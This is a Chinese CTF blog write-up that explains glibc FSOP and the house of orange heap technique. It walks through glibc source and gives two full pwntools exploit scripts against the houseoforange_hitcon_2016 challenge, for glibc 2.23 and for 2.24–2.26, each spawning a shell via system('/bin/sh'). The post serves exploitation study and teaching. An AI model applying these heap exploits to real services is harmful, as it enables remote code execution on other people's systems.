IO_FILE——FSOP、house of orange
Python微信订餐小程序课程视频
https://edu.csdn.net/course/detail/36074
Python实战量化交易理财系统
https://edu.csdn.net/course/detail/35475
FSOP 是 File Stream Oriented Programming 的缩写。所有的 _IO_FILE 结构会由 _chain 字段连接形成一个链表,由 _IO_list_all 来维护。而 FSOP 的核心思想就是劫持通过 _IO_list_all 的值来伪造链表和其中的 _IO_FILE 项。除了伪造数据,还有一点就是要想办法去执行,FSOP 选择的是触发错误来 get shell。
用到的函数是 malloc_printerr
static void
malloc\_printerr (int action, const char *str, void *ptr, mstate ar\_ptr)
{/* Avoid using this arena in future. We do not attempt to synchronize thiswith anything else because we minimally want to ensure that \_\_libc\_messagegets its resources safely without stumbling on the current corruption. */if (ar\_ptr)set\_arena\_corrupt (ar\_ptr);if ((action & 5) == 5)\_\_libc\_message (action & 2, "%s\n", str);else if (action & 1){char buf[2 * sizeof (uintptr\_t) + 1];buf[sizeof (buf) - 1] = '\0';char *cp = \_itoa\_word ((uintptr\_t) ptr, &buf[sizeof (buf) - 1], 16, 0);while (cp > buf)*--cp = '0';\_\_libc\_message (action & 2, "*** Error in `%s': %s: 0x%s ***\n",\_\_libc\_argv[0] ? : "", str, cp);}else if (action & 2)abort ();
}
可以看到 malloc_printerr 又调用了 __libc_message 这个函数,继续跟进
void
\_\_libc\_message (int do\_abort, const char *fmt, ...)
{va\_list ap;int fd = -1;va\_start (ap, fmt);#ifdef FATAL\_PREPAREFATAL\_PREPARE;
#endif/* Open a descriptor for /dev/tty unless the user explicitlyrequests errors on standard error. */const char *on\_2 = \_\_libc\_secure\_getenv ("LIBC\_FATAL\_STDERR\_");............va\_end (ap);if (do\_abort){BEFORE\_ABORT (do\_abort, written, fd);/* Kill the application. */abort ();}
}
发现 __libc_message 会调用 abort() 函数来结束进程
/* Cause an abnormal program termination with core-dump. */
void
abort (void)
{struct sigaction act;sigset\_t sigs;/* First acquire the lock. */\_\_libc\_lock\_lock\_recursive (lock);/* Now it's for sure we are alone. But recursive calls are possible. *//* Unlock SIGABRT. */if (stage == 0){++stage;if (\_\_sigemptyset (&sigs) == 0 &&\_\_sigaddset (&sigs, SIGABRT) == 0)\_\_sigprocmask (SIG\_UNBLOCK, &sigs, (sigset\_t *) NULL);}/* Flush all streams. We cannot close them now because the usermight have registered a handler for SIGABRT. */if (stage == 1){++stage;fflush (NULL);}/* Send signal which possibly calls a user handler. */if (stage == 2)...........
abort() 函数又会调用 fflush(NULL)
#define fflush(s) \_IO\_fflush (s)
fflush 被宏定义为 _IO_fflush
\_IO\_fflush (\_IO\_FILE *fp)
{if (fp == NULL)return \_IO\_flush\_all ();
_IO_fflush 又会执行 _IO_flush_all ()
int
\_IO\_flush\_all (void)
{/* We want locking. */return \_IO\_flush\_all\_lockp (1);
}
libc\_hidden\_def (\_IO\_flush\_all)
_IO_flush_all () 又继续执行 _IO_flush_all_lockp()
int
\_IO\_flush\_all\_lockp (int do\_lock)
{int result = 0;struct \_IO\_FILE *fp;int last\_stamp;#ifdef \_IO\_MTSAFE\_IO\_\_libc\_cleanup\_region\_start (do\_lock, flush\_cleanup, NULL);if (do\_lock)\_IO\_lock\_lock (list\_all\_lock);
#endiflast\_stamp = \_IO\_list\_all\_stamp;fp = (\_IO\_FILE *) \_IO\_list\_all;while (fp != NULL){run\_fp = fp;if (do\_lock)\_IO\_flockfile (fp);if (((fp->\_mode <= 0 && fp->\_IO\_write\_ptr > fp->\_IO\_write\_base)
#if defined \_LIBC || defined \_GLIBCPP\_USE\_WCHAR\_T|| (\_IO\_vtable\_offset (fp) == 0&& fp->\_mode > 0 && (fp->\_wide\_data->\_IO\_write\_ptr> fp->\_wide\_data->\_IO\_write\_base))
#endif)&& \_IO\_OVERFLOW (fp, EOF) == EOF)result = EOF;...........
\_IO\_flush\_all\_lockp 会把 \_IO\_list\_all作为链表头开始遍历,并把当前节点作为 \_IO\_OVERFLOW 的参数。
#define \_IO\_OVERFLOW(FP, CH) JUMP1 (\_\_overflow, FP, CH)
\_IO\_OVERFLOW 是 vtable 中的第四项。
struct \_IO\_jump\_t
{JUMP\_FIELD(size\_t, \_\_dummy);JUMP\_FIELD(size\_t, \_\_dummy2);JUMP\_FIELD(\_IO\_finish\_t, \_\_finish);JUMP\_FIELD(\_IO\_overflow\_t, \_\_overflow);JUMP\_FIELD(\_IO\_underflow\_t, \_\_underflow);JUMP\_FIELD(\_IO\_underflow\_t, \_\_uflow);JUMP\_FIELD(\_IO\_pbackfail\_t, \_\_pbackfail);/* showmany */JUMP\_FIELD(\_IO\_xsputn\_t, \_\_xsputn);JUMP\_FIELD(\_IO\_xsgetn\_t, \_\_xsgetn);JUMP\_FIELD(\_IO\_seekoff\_t, \_\_seekoff);JUMP\_FIELD(\_IO\_seekpos\_t, \_\_seekpos);JUMP\_FIELD(\_IO\_setbuf\_t, \_\_setbuf);JUMP\_FIELD(\_IO\_sync\_t, \_\_sync);JUMP\_FIELD(\_IO\_doallocate\_t, \_\_doallocate);JUMP\_FIELD(\_IO\_read\_t, \_\_read);JUMP\_FIELD(\_IO\_write\_t, \_\_write);JUMP\_FIELD(\_IO\_seek\_t, \_\_seek);JUMP\_FIELD(\_IO\_close\_t, \_\_close);JUMP\_FIELD(\_IO\_stat\_t, \_\_stat);JUMP\_FIELD(\_IO\_showmanyc\_t, \_\_showmanyc);JUMP\_FIELD(\_IO\_imbue\_t, \_\_imbue);
#if 0get\_column;set\_column;
#endif
};
我们知道 IO\_FILE的结构如下struct \_IO\_FILE {int \_flags; /* High-order word is \_IO\_MAGIC; rest is flags. */
#define \_IO\_file\_flags \_flags/* The following pointers correspond to the C++ streambuf protocol. *//* Note: Tk uses the \_IO\_read\_ptr and \_IO\_read\_end fields directly. */char* \_IO\_read\_ptr; /* Current read pointer */char* \_IO\_read\_end; /* End of get area. */char* \_IO\_read\_base; /* Start of putback+get area. */char* \_IO\_write\_base; /* Start of put area. */char* \_IO\_write\_ptr; /* Current put pointer. */char* \_IO\_write\_end; /* End of put area. */char* \_IO\_buf\_base; /* Start of reserve area. */char* \_IO\_buf\_end; /* End of reserve area. *//* The following fields are used to support backing up and undo. */char *\_IO\_save\_base; /* Pointer to start of non-current get area. */char *\_IO\_backup\_base; /* Pointer to first valid character of backup area */char *\_IO\_save\_end; /* Pointer to end of non-current get area. */struct \_IO\_marker *\_markers;struct \_IO\_FILE *\_chain;int \_fileno;
#if 0int \_blksize;
#elseint \_flags2;
#endif\_IO\_off\_t \_old\_offset; /* This used to be \_offset but it's too small. */#define \_\_HAVE\_COLUMN /* temporary *//* 1+column number of pbase(); 0 is unknown. */unsigned short \_cur\_column;signed char \_vtable\_offset;char \_shortbuf[1];/* char* \_save\_gptr; char* \_save\_egptr; */\_IO\_lock\_t *\_lock;
#ifdef \_IO\_USE\_OLD\_IO\_FILE
};
这里会用 _chain 字段(x64的偏移为0x68)连接下一个结构体,从而形成一个单向链表。
FSOP 最经典的例题应该就是 house of orange,下面借助 houseoforange_hitcon_2016 来讲FSOP
但house of orange 分为两部分,前一部分是在没有 free 函数的情况下实现 free 的效果,另一部分是 FSOP
那我们先讲前一部分
在申请的堆块大小大于 top chunk的大小时会调用 sysmalloc 来分配
/*If have mmap, and the request size meets the mmap threshold, andthe system supports mmap, and there are few enough currentlyallocated mmapped regions, try to directly map this requestrather than expanding top.*/if (av == NULL|| ((unsigned long) (nb) >= (unsigned long) (mp\_.mmap\_threshold)&& (mp\_.n\_mmaps < mp\_.n\_mmaps\_max))){char *mm; /* return value from mmap call*/try\_mmap:
如果申请大小 > (unsigned long) (mp_.mmap_threshold) 就会直接 mmap 出一块内存。
/*If not the first time through, we require old\_size to beat least MINSIZE and to have prev\_inuse set.*/assert ((old\_top == initial\_top (av) && old\_size == 0) ||((unsigned long) (old\_size) >= MINSIZE &&prev\_inuse (old\_top) &&((unsigned long) old\_end & (pagesize - 1)) == 0));
............if (old\_size >= MINSIZE){set\_head (chunk\_at\_offset (old\_top, old\_size), (2 * SIZE\_SZ) | PREV\_INUSE);set\_foot (chunk\_at\_offset (old\_top, old\_size), (2 * SIZE\_SZ));set\_head (old\_top, old\_size | PREV\_INUSE | NON\_MAIN\_ARENA);\_int\_free (av, old\_top, 1);}
另一种是会先把原来的 top chunk free 进 unsorted bin。但是要满足几个条件:
1、(unsigned long) (old_size) >= MINSIZE
2、 prev_inuse (old_top) = 1
3、 ((unsigned long) old_end & (pagesize - 1)) == 0)
所以我们通过溢出把 top chunk 的 size 改小即可,并且注意内存页对齐。
我们再通过 add 一个 large bin 大小的堆,来泄露 libc_base , heap_base。
现在是后一部分的FSOP
我们可以利用 unsorted bin attack 去劫持 _IO_list_all 指向 main_arena + 88 的位置处,但是其内容我们却不可控制,那我们把他看作 _IO_FILE 结构体,利用他的 _chain字段来指向我们可控的内存处,main_arena + 88 + 0x68 = main_arena + 0xC0 ,那里恰好储存着大小为 0x60大小的 small bin 的第一个 chunk 地址。所以我们把 unsorted bin 的 size 改为 0x60,然后再发生 unsorted bin 遍历的时候,这个 unsorted bin 就会链入 main_arena + 0xC0 处。我们把 fp的第一个参数改为 /bin/sh\x00 ,vtable->_IO_OVERFLOW 改为 system 函数即可。而 main_arena 处的 fp->_mode 值不满足要求,会通过 _chain 跳到我们下一个结构体,也就是我们刚刚伪造的数据处。
但是我们还要绕过一下检查:
if (((fp->\_mode <= 0 && fp->\_IO\_write\_ptr > fp->\_IO\_write\_base)
#if defined \_LIBC || defined \_GLIBCPP\_USE\_WCHAR\_T|| (\_IO\_vtable\_offset (fp) == 0&& fp->\_mode > 0 && (fp->\_wide\_data->\_IO\_write\_ptr> fp->\_wide\_data->\_IO\_write\_base))
#endif)&& \_IO\_OVERFLOW (fp, EOF) == EOF)
有两种方法:
一是:1. fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base
二是:1._IO_vtable_offset (fp) == 0 && _IO_vtable_offset (fp) == 0 && fp->_wide_data->_IO_write_ptr > fp->_wide_data->_IO_write_base
我选择满足第一个条件。
当然想满足第二个把 _wide_data 的值改为 fp - 0x8 -0x8 = fp - 0x10 即可,因为 fp->_IO_read_end > fp->_IO_read_ptr
struct \_IO\_wide\_data
{wchar\_t *\_IO\_read\_ptr; /* Current read pointer */wchar\_t *\_IO\_read\_end; /* End of get area. */wchar\_t *\_IO\_read\_base; /* Start of putback+get area. */wchar\_t *\_IO\_write\_base; /* Start of put area. */wchar\_t *\_IO\_write\_ptr; /* Current put pointer. */wchar\_t *\_IO\_write\_end; /* End of put area. */wchar\_t *\_IO\_buf\_base; /* Start of reserve area. */wchar\_t *\_IO\_buf\_end; /* End of reserve area. *//* The following fields are used to support backing up and undo. */wchar\_t *\_IO\_save\_base; /* Pointer to start of non-current get area. */wchar\_t *\_IO\_backup\_base; /* Pointer to first valid character ofbackup area */wchar\_t *\_IO\_save\_end; /* Pointer to end of non-current get area. */\_\_mbstate\_t \_IO\_state;\_\_mbstate\_t \_IO\_last\_state;struct \_IO\_codecvt \_codecvt;wchar\_t \_shortbuf[1];const struct \_IO\_jump\_t *\_wide\_vtable;
};
#endif
struct \_IO\_FILE {int \_flags; /* High-order word is \_IO\_MAGIC; rest is flags. */
#define \_IO\_file\_flags \_flags/* The following pointers correspond to the C++ streambuf protocol. *//* Note: Tk uses the \_IO\_read\_ptr and \_IO\_read\_end fields directly. */char* \_IO\_read\_ptr; /* Current read pointer */char* \_IO\_read\_end; /* End of get area. */char* \_IO\_read\_base; /* Start of putback+get area. */char* \_IO\_write\_base; /* Start of put area. */char* \_IO\_write\_ptr; /* Current put pointer. */char* \_IO\_write\_end; /* End of put area. */char* \_IO\_buf\_base; /* Start of reserve area. */char* \_IO\_buf\_end; /* End of reserve area. *//* The following fields are used to support backing up and undo. */char *\_IO\_save\_base; /* Pointer to start of non-current get area. */char *\_IO\_backup\_base; /* Pointer to first valid character of backup area */char *\_IO\_save\_end; /* Pointer to end of non-current get area. */
附上exp:
from pwn import *
context.arch = 'amd64'
context.log\_level = 'debug'#s = remote('node4.buuoj.cn',25703)
#libc = ELF('./libc-2.23.so')
s = process('./houseoforange\_hitcon\_2016')
libc = ELF('./glibc-all-in-one/libs/2.23-0ubuntu11.3\_amd64/libc-2.23.so')
def add(length,name):s.recvuntil(b'Your choice : ')s.sendline(b'1')s.recvuntil(b'Length of name :')s.sendline(str(length))s.recvuntil(b'Name :')s.send(name)s.recvuntil(b'Price of Orange:')s.sendline(b'123')s.recvuntil(b'Color of Orange:')s.sendline(b'2')def show():s.recvuntil(b'Your choice : ')s.sendline(b'2')def edit(length,name):s.recvuntil(b'Your choice : ')s.sendline(b'3')s.recvuntil(b'Length of name :')s.sendline(str(length))s.recvuntil(b'Name:')s.send(name)s.recvuntil(b'Price of Orange:')s.sendline(b'123')s.recvuntil(b'Color of Orange:')s.sendline(b'2')add(0x10 ,b'a')
payload = b'a'*0x10+p64(0)+p64(0x21)+b'a'*0x10+p64(0)+p64(0xfa1)
edit(len(payload) ,payload)add(0x1000 ,b'b')
add(0x400 ,b'c')show()
s.recvuntil(b'Name of house : ')
libc\_base = u64(s.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00')) - 0x3c5163
success('libc\_base=>' + hex(libc\_base))
edit(0x10 ,b'd'*0x10)
show()
s.recvuntil(b'd'*0x10)
heap\_base = u64(s.recv(6).ljust(8,b'\x00')) & 0xfffffffffffff000
success(hex(heap\_base))\_IO\_list\_all = libc\_base + libc.sym['\_IO\_list\_all']
system\_addr = libc\_base + libc.sym['system']fsop = b'/bin/sh\x00' + p64(0x61) + p64(0) + p64(\_IO\_list\_all-0x10)
#unsorted bin attack makes \_IO\_list\_all point to main\_arena+88
#0x61 is aimed at making fake\_chain (main\_arena + 88 + 0x68) point to fake\_IO\_FILE (controllable area)
fsop+= p64(0) #write base
fsop+= p64(1) #write ptr fp->\_IO\_write\_ptr > \_IO\_write\_base
fsop = fsop.ljust(0xd8,b'\x00')vtable\_addr = heap\_base + 0x4f0 + 0xd8 + 0x8fsop+= p64(vtable\_addr)
fsop+= p64(0) #\_\_dummy
fsop+= p64(0) #\_\_dummy2
fsop+= p64(0) #\_\_finish
fsop+= p64(system\_addr) #\_IO\_OVERFLOWpayload = b'd'*0x400 + p64(0) + p64(0x21)
payload+= p64(0) + p64(0)
payload+= fsop
gdb.attach(s)
edit(len(payload),payload)
s.recv()
#gdb.attach(s)s.interactive()
以上就是2.23的house of orange,但是由于在 2.24的glibc中加入了vtable check导致这种伪造虚表的方法不再可行,但同时也出现了新的利用手法。而且利用向下兼容并且更为简单。
我们先来看一下glibc 2.24里加入的对 vtable 的检查。
static inline const struct \_IO\_jump\_t *
IO\_validate\_vtable (const struct \_IO\_jump\_t *vtable)
{/* Fast path: The vtable pointer is within the \_\_libc\_IO\_vtablessection. */uintptr\_t section\_length = \_\_stop\_\_\_libc\_IO\_vtables - \_\_start\_\_\_libc\_IO\_vtables;const char *ptr = (const char *) vtable;uintptr\_t offset = ptr - \_\_start\_\_\_libc\_IO\_vtables;if (\_\_glibc\_unlikely (offset >= section\_length))/* The vtable pointer is not in the expected section. Use theslow path, which will terminate the process if necessary. */\_IO\_vtable\_check ();return vtable;
}
会检查 vtable 是否在 __start___libc_IO_vtables 和 __stop___libc_IO_vtables 之间。故我们之前任意伪造 vtable 的方法失效了。随及出现了一种新的利用方法,及使用 vtable 内的地址来作为 vtable 的地址。大致可以使用两个结构体: _IO_str_jumps 或 _IO_wstr_jumps ,他们会调用 _IO_str_overflow 。
我们这里以 _IO_str_jumps 来作为例子介绍。_IO_str_jumps 函数表:
pwndbg> p \_IO\_str\_jumps
$1 = {\_\_dummy = 0,\_\_dummy2 = 0,\_\_finish = 0x7f5e537abfb0 <\_IO\_str\_finish>,\_\_overflow = 0x7f5e537abc90 <\_\_GI\_\_IO\_str\_overflow>,\_\_underflow = 0x7f5e537abc30 <\_\_GI\_\_IO\_str\_underflow>,\_\_uflow = 0x7f5e537aa610 <\_\_GI\_\_IO\_default\_uflow>,\_\_pbackfail = 0x7f5e537abf90 <\_\_GI\_\_IO\_str\_pbackfail>,\_\_xsputn = 0x7f5e537aa640 <\_\_GI\_\_IO\_default\_xsputn>,\_\_xsgetn = 0x7f5e537aa720 <\_\_GI\_\_IO\_default\_xsgetn>,\_\_seekoff = 0x7f5e537ac0e0 <\_\_GI\_\_IO\_str\_seekoff>,\_\_seekpos = 0x7f5e537aaa10 <\_IO\_default\_seekpos>,\_\_setbuf = 0x7f5e537aa940 <\_IO\_default\_setbuf>,\_\_sync = 0x7f5e537aac10 <\_IO\_default\_sync>,\_\_doallocate = 0x7f5e537aaa30 <\_\_GI\_\_IO\_default\_doallocate>,\_\_read = 0x7f5e537abae0 <\_IO\_default\_read>,\_\_write = 0x7f5e537abaf0 <\_IO\_default\_write>,\_\_seek = 0x7f5e537abac0 <\_IO\_default\_seek>,\_\_close = 0x7f5e537aac10 <\_IO\_default\_sync>,\_\_stat = 0x7f5e537abad0 <\_IO\_default\_stat>,\_\_showmanyc = 0x7f5e537abb00 <\_IO\_default\_showmanyc>,\_\_imbue = 0x7f5e537abb10 <\_IO\_default\_imbue>
}
我们看一下其中的 _IO_str_finish 函数
void
\_IO\_str\_finish (\_IO\_FILE *fp, int dummy)
{if (fp->\_IO\_buf\_base && !(fp->\_flags & \_IO\_USER\_BUF))(((\_IO\_strfile *) fp)->\_s.\_free\_buffer) (fp->\_IO\_buf\_base);fp->\_IO\_buf\_base = NULL;\_IO\_default\_finish (fp, 0);
}
我们可以看出,若符合条件这个函数会把 (_IO_strfile *) fp)->_s._free_buffer) 当作函数指针来直接调用,并且把 fp->_IO_buf_base 当成他的参数。(_IO_strfile *) fp)->_s._free_buffer) 从 IDA 里分析或者用 gdb 调试可知其实是 fp + 0xe8 的位置。那我们先把 vtable 的值改为 _IO_srt_jums - 0x10 ,再把 fp + 0xe8 放上 system,_IO_buf_base 放上 /bin/sh 的地址,即可getshell。由于不需要伪造虚表,这里还并不需要泄露 heap_base。值得注意的是 _IO_str_jumps 并不是导出符号,我选择的是直接用 gdb 来看他的偏移。
附上exp:
from pwn import *
context.arch = 'amd64'
context.log\_level = 'debug'#s = remote('node4.buuoj.cn',25703)
#libc = ELF('./libc-2.23.so')
s = process('./houseoforange\_hitcon\_2016')
libc = ELF('./glibc-all-in-one/libs/2.23-0ubuntu11.3\_amd64/libc-2.23.so')
def add(length,name):s.recvuntil(b'Your choice : ')s.sendline(b'1')s.recvuntil(b'Length of name :')s.sendline(str(length))s.recvuntil(b'Name :')s.send(name)s.recvuntil(b'Price of Orange:')s.sendline(b'123')s.recvuntil(b'Color of Orange:')s.sendline(b'2')def show():s.recvuntil(b'Your choice : ')s.sendline(b'2')def edit(length,name):s.recvuntil(b'Your choice : ')s.sendline(b'3')s.recvuntil(b'Length of name :')s.sendline(str(length))s.recvuntil(b'Name:')s.send(name)s.recvuntil(b'Price of Orange:')s.sendline(b'123')s.recvuntil(b'Color of Orange:')s.sendline(b'2')add(0x10 ,b'a')
payload = b'a'*0x10+p64(0)+p64(0x21)+b'a'*0x10+p64(0)+p64(0xfa1)
edit(len(payload) ,payload)add(0x1000 ,b'b')
add(0x400 ,b'c')show()
s.recvuntil(b'Name of house : ')
libc\_base = u64(s.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00')) - 0x3c5163
success('libc\_base=>' + hex(libc\_base))\_IO\_list\_all = libc\_base + libc.sym['\_IO\_list\_all']
system\_addr = libc\_base + libc.sym['system']
\_IO\_strn\_jumps = libc\_base + 0x3c37a0
binsh\_addr = libc\_base + libc.search(b'/bin/sh').\_\_next\_\_()fsop = p64(0) + p64(0x61) + p64(0) + p64(\_IO\_list\_all-0x10)
#unsorted bin attack makes \_IO\_list\_all point to main\_arena+88
#0x61 is aimed at making fake\_chain (main\_arena + 88 + 0x68) point to fake\_IO\_FILE (controllable area)
fsop+= p64(0) #write base
fsop+= p64(1) #write ptr fp->\_IO\_write\_ptr > fp->\_IO\_write\_base
fsop+= p64(0) #write end
fsop+= p64(binsh\_addr) #buf base
fsop = fsop.ljust(0xd8,b'\x00')
fsop+= p64(\_IO\_strn\_jumps - 0x8) #vtable
fsop+= p64(0) #\_IO\_FILE + 0xE8
fsop+= p64(system\_addr)payload = b'd'*0x400 + p64(0) + p64(0x21)
payload+= p64(0) + p64(0)
payload+= fsopedit(len(payload),payload)
s.recv()
#gdb.attach(s)s.interactive()
这就是 2.24到2.26的方法,当然2.24之前也可以使用。由于2.27之后不再调用 abort() 来结束进程,故2.26以后的版本便要另寻他法。
此外house of orange 的成功率只有 1/2 ,因为只有在 libc 基址的低32位为负(及 > 0x80000000)时才会跳过第一步检查,第二步才会进入我们刚刚布置的环节。
参考链接:
https://www.anquanke.com/post/id/87194
https://zhuanlan.zhihu.com/p/53633514
https://zhuanlan.zhihu.com/p/53633514
https://blog.csdn.net/qq_39153421/article/details/115327308
http://t.zoukankan.com/luoleqi-p-13419069.html
https://blog.csdn.net/A951860555/article/details/116425824
https://ray-cp.github.io/archivers/IO_FILE_vtable_hajack_and_fsop
__EOF__
- **本文作者:** [pwnfeifei](https://blog.csdn.net/biggbang)
- 本文链接: https://blog.csdn.net/pwnfeifei/p/15806964.html
- 关于博主: 评论和私信会在第一时间回复。或者直接私信我。
- 版权声明: 本博客所有文章除特别声明外,均采用 BY-NC-SA 许可协议。转载请注明出处!
- 声援博主: 如果您觉得文章对您有帮助,可以点击文章右下角**【[推荐](javascript:void(0)
IO_FILE——FSOP、house of orange相关推荐
- IO_file结构、FSOP、house of orange总结
IO_file相关结构 _IO_list_all 是一个 _IO_FILE_plus 结构体定义的一个指针,如下: extern struct _IO_FILE_plus *_IO_list_all; ...
- 给定四种水果,分别是苹果(apple)、梨(pear)、桔子(orange)、葡萄(grape),单价分别对应为3.00元/公斤、2.50元/公斤、4.10元/公斤、10.20元/公斤。
给定四种水果,分别是苹果(apple).梨(pear).桔子(orange).葡萄(grape),单价分别对应为3.00元/公斤.2.50元/公斤.4.10元/公斤.10.20元/公斤. 首先在屏幕上 ...
- 7-55 查询水果价格 (15 分) 给定四种水果,分别是苹果(apple)、梨(pear)、桔子(orange)、葡萄…PTA:中M2021春C、Java入门练习第I段——变量、表达式、分支、循环
7-55 查询水果价格 (15 分) 给定四种水果,分别是苹果(apple).梨(pear).桔子(orange).葡萄(grape),单价分别对应为3.00元/公斤.2.50元/公斤.4.10元/公 ...
- 【orange】【转】orange使用
http://blog.csdn.net/yiweis/article/category/1315006 Orange数据格式 数据挖掘工具Orange除了支持C4.5等格式外,还有自己的数据格式. ...
- python rabitmq_3、Python结合RabbitMQ实现消息传递
Python使用RabbitMQ 接下来就使用Python来简单的对以下几种队列类型进行一部分的操作,主要是为了更加容易去理解它,站在开发的角度去看待RabbitMQ: 创建访问用户 # 创建一个cc ...
- UML2面向对象分析与设计 -- 面向对象思维(概念、面向对象技术的发展历史、对象和类、面向对象技术的相关原则:抽象 封装 分解 泛化 多态 分层 复用)
文章目录 1. UML2面向对象分析与设计 学习目标 2. 面向对象思维 2.1 学习目标 2.2 什么是面向对象 2.3 面向对象技术的发展历史 2.4 面向对象技术的优势 2.4.1 便于沟通:在 ...
- 第七章、 面向对象基础--下(续) 内部类、枚举、注解
文章目录 内容 学习目标 第七章 面向对象基础--下(续) 7.7 内部类 7.7.1 概述 7.7.1 非静态成员内部类 练习1:语法练习题 练习2:简单面试题 练习题3:高难面试题 7.7.2 静 ...
- 各个MQ消息队列介绍以及区别比较(RabbitMq ActiveMQ、ZeroMQ、Kafka)
首先,MQ其实就是消息队列,队列我们可以理解为管道,以管道的方式做消息传递. 在本篇博客中,我们先来简单学习一下几种MQ,之后对他们进行对比. ActiveMQ.RabbitMQ.kafka.Rock ...
- 机器学习获量子加速!物理学家与计算科学家「自然联姻」
来源:新智元 AI和量子计算的碰撞,会产生什么神奇的火花?IBM团队的一项研究表明,在机器学习任务上,已经找到了量子计算能够加速数据分类的证据,远超传统算法.未来,基于量子的机器学习加速器可能就在路上 ...
最新文章
- sql server 2008手工修改表结构,表不能保存的问题与解决
- SqLite中的事务
- 使用Genymotion调试出现错误INSTALL_FAILED_CPU_ABI_INCOMPATIBLE解决办法
- [轉]c#从Excel中读取图片
- CF-346 D. Robot Control(反向建图spfa)
- Django的model查询操作 与 查询性能优化
- python报告,python测试结果报告
- java反编译工具--jd-gui
- 小米路由器3 SCUT校园网刷scut-padavan固件方法
- BP,RNN 和 LSTM暨《Supervised Sequence Labelling with Recurrent Neural Networks-2012》阅读笔记
- 文献速递 | 宿主细胞中SARS-CoV-2(新冠病毒)的m⁶A甲基化研究
- 利用QQ游戏破解QQ密码
- linux下计算时间,linux 日期时间计算
- 渲染用计算机功耗,【IT之家评测室】满功耗 RTX 3060 笔记本 GPU 表现如何?拯救者 R9000P 实测...
- c语言字符串输出有乱码,C语言puts函数输出乱码测试
- 神经元细胞结构刨析(持续更新)
- JAVA将上传的PPT/PPTX转为图片
- 虚拟私助理要来了,五个行业将受影响人 | 分析
- 长春初一学生数学补习班哪家好/麦田1对1补习费用
- Linux下安装佳能网络打印机cacon imageclass4010
热门文章
- Redis 集群搭建(三):Docker 部署 Redis + Sentinel 高可用集群
- 服务器取证——服务器基础知识
- 【深度】大变局!标准化资产的在线理财时代来临
- 来自全国各地的65位高校教师接龙晒工资,供参考
- 华为IPsec实现支部与支部间借助总部进行隧道中转
- Golang type assertion 类型断言
- python_matplotlib分别使用plot()和scatter()画散点图,以及如何改变点的大小
- python中将字符变为大写_Python实现将字符串的首字母变为大写,其余都变为小写的方法...
- 如何在win10安装libaio,并且使用CFLAGS和LDFLAGS环境变量指示其位置,并且如何设置DS_BUILD_AIO=0禁用async_io...
- 【训练题48:想法 + 模拟】Lawn of the Dead | HDU6992 | 杭电多校四 08题
- IO_file结构、FSOP、house of orange总结